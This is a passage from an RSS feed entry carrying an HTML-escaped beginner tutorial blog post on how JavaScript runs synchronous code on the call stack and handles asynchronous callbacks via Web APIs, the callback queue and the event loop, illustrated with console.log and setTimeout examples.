&lt;li&gt;&lt;code&gt;Promise.finally()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MutationObserver&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  &lt;strong&gt;Synchronous JavaScript&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;JavaScript is synchronous, blocking, and single-threaded. This means the JavaScript engine executes code sequentially—one line at a time from top to bottom—in the exact order of the statements.&lt;/p&gt;

&lt;p&gt;Consider a scenario with three &lt;code&gt;console.log&lt;/code&gt; statements.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;First line&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Second line&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Third line&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nl"&gt;Output&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="nx"&gt;First&lt;/span&gt; &lt;span class="nx"&gt;line&lt;/span&gt;
&lt;span class="nx"&gt;Second&lt;/span&gt; &lt;span class="nx"&gt;line&lt;/span&gt;
&lt;span class="nx"&gt;Third&lt;/span&gt; &lt;span class="nx"&gt;line&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's examine another example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;greetUser&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;userName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Shafiq Ur Rehman&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Hello, &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;userName&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;!`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;greetUser&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;A new &lt;strong&gt;global execution context&lt;/strong&gt; is created and pushed onto the call stack. This is the main execution context where the top-level code runs. Every program has only one global execution context, and it always stays at the bottom of the call stack.&lt;/li&gt;
&lt;li&gt;In the global execution context, the &lt;strong&gt;memory creation phase&lt;/strong&gt; starts. In this phase, all variables and functions declared in the program are allocated space in memory (called the variable environment). Since we don’t have variables declared in the global scope, only the functions will be stored in memory.&lt;/li&gt;
&lt;li&gt;The function &lt;code&gt;getName&lt;/code&gt; is stored in memory, with its reference pointing to the full function body. The code inside it isn’t executed yet—it will run only when the function is called.&lt;/li&gt;
&lt;li&gt;Similarly, the function &lt;code&gt;greetUser&lt;/code&gt; is stored in memory, with its reference pointing to its entire function body.&lt;/li&gt;
&lt;li&gt;When the &lt;code&gt;greetUser&lt;/code&gt; function is invoked, the code execution phase of the global execution context begins. A new execution context for &lt;code&gt;greetUser&lt;/code&gt; is created and pushed on top of the call stack. Just like any execution context, it first goes through the memory allocation phase.&lt;/li&gt;
&lt;li&gt;Inside &lt;code&gt;greetUser&lt;/code&gt;, the variable &lt;code&gt;userName&lt;/code&gt; is allocated space in memory and initialized with &lt;code&gt;undefined&lt;/code&gt;. (&lt;strong&gt;Note:&lt;/strong&gt; During memory creation, variables declared with &lt;code&gt;var&lt;/code&gt; are initialized with &lt;code&gt;undefined&lt;/code&gt;, while variables declared with &lt;code&gt;let&lt;/code&gt; and &lt;code&gt;const&lt;/code&gt; are set as &lt;em&gt;uninitialized&lt;/em&gt;, which leads to a reference error if accessed before assignment.)&lt;/li&gt;
&lt;li&gt;After the memory phase finishes, the code execution phase starts. The variable &lt;code&gt;userName&lt;/code&gt; needs the result of the &lt;code&gt;getName&lt;/code&gt; function call. So &lt;code&gt;getName&lt;/code&gt; is invoked, and a new execution context for &lt;code&gt;getName&lt;/code&gt; is pushed onto the call stack.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The function &lt;code&gt;getName&lt;/code&gt; allocates space for its parameter &lt;code&gt;name&lt;/code&gt;, initializes it with &lt;code&gt;undefined&lt;/code&gt;, and then assigns it the value &lt;code&gt;"Shafiq Ur Rehman"&lt;/code&gt;. Once the &lt;code&gt;return&lt;/code&gt; statement runs, that value is returned to the &lt;code&gt;greetUser&lt;/code&gt; context. The &lt;code&gt;getName&lt;/code&gt; execution context is then popped off the call stack. Execution goes back to &lt;code&gt;greetUser&lt;/code&gt;, where the returned value is assigned to &lt;code&gt;userName&lt;/code&gt;. Next, the &lt;code&gt;console.log&lt;/code&gt; statement runs and prints:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hello, Shafiq Ur Rehman!
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;Once done, the &lt;code&gt;greetUser&lt;/code&gt; The execution context is also popped off the call stack.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Finally, the program returns to the global execution context. Since there’s no more code left to run, the global context is popped off the call stack, and the program ends.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Asynchronous JavaScript&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Unlike synchronous operations, asynchronous operations don't block subsequent tasks from starting, even if the current task isn't finished. The JavaScript engine works with Web APIs (like setTimeout, setInterval, etc.) in the browser to enable asynchronous behavior.&lt;/p&gt;

&lt;p&gt;Using Web APIs, JavaScript offloads time-consuming tasks to the browser while continuing to execute synchronous operations. This asynchronous approach allows tasks that take time (like database access or file operations) to run in the background without blocking the execution of subsequent code.&lt;/p&gt;

&lt;p&gt;Let’s break this down with a &lt;code&gt;setTimeout()&lt;/code&gt; example. (I’ll skip memory allocation here since we already covered it earlier.)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;first&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;second&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;third&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here’s what happens when this code runs:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The program starts with a &lt;strong&gt;global execution context&lt;/strong&gt; created and pushed onto the call stack.&lt;/li&gt;
&lt;li&gt;The first line &lt;code&gt;console.log("first")&lt;/code&gt; runs. It creates an execution context, prints &lt;code&gt;"first"&lt;/code&gt; to the console, and then is popped off the stack.&lt;/li&gt;
&lt;li&gt;Next, the &lt;code&gt;setTimeout()&lt;/code&gt; function is called. Since it’s a &lt;strong&gt;Web API provided by the browser&lt;/strong&gt;, it doesn’t run fully inside the call stack. Instead, it takes two arguments: a callback function and a delay (3000ms here). The browser registers the callback function in the Web API environment, starts a timer for 3 seconds, and then &lt;code&gt;setTimeout()&lt;/code&gt; itself is popped off the stack.&lt;/li&gt;
&lt;li&gt;Execution moves on to &lt;code&gt;console.log("third")&lt;/code&gt;. This prints &lt;code&gt;"third"&lt;/code&gt; immediately, and that context is also popped off.&lt;/li&gt;
&lt;li&gt;Meanwhile, the callback function from &lt;code&gt;setTimeout&lt;/code&gt; is sitting in the Web API environment, waiting for the 3-second timer to finish.&lt;/li&gt;
&lt;li&gt;Once the timer completes, the callback doesn’t go straight to the call stack. Instead, it’s placed into the &lt;strong&gt;callback queue&lt;/strong&gt;. This queue only runs when the call stack is completely clear. So even if you had thousands of lines of synchronous code after &lt;code&gt;setTimeout&lt;/code&gt;, they would all finish first.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;event loop&lt;/strong&gt; is the mechanism that keeps watching the call stack and the queues. When the call stack is empty, the event loop takes the callback from the queue and pushes it onto the stack.&lt;/li&gt;
&lt;li&gt;Finally, the callback runs: &lt;code&gt;console.log("second")&lt;/code&gt; prints &lt;code&gt;"second"&lt;/code&gt; to the console. After that, the callback function itself is popped off, and eventually, the global execution context is cleared once everything has finished.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Conclusion&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;JavaScript runs code synchronously but can handle async tasks using browser Web APIs. Knowing how the engine works under the hood is key to mastering the language.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;“Let me know your thoughts in the comments,”&lt;/em&gt; or &lt;em&gt;“Follow me for more JavaScript insights.”&lt;/em&gt;&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>javascript</category>
      <category>tutorial</category>
    </item>
  </channel>
</rss>
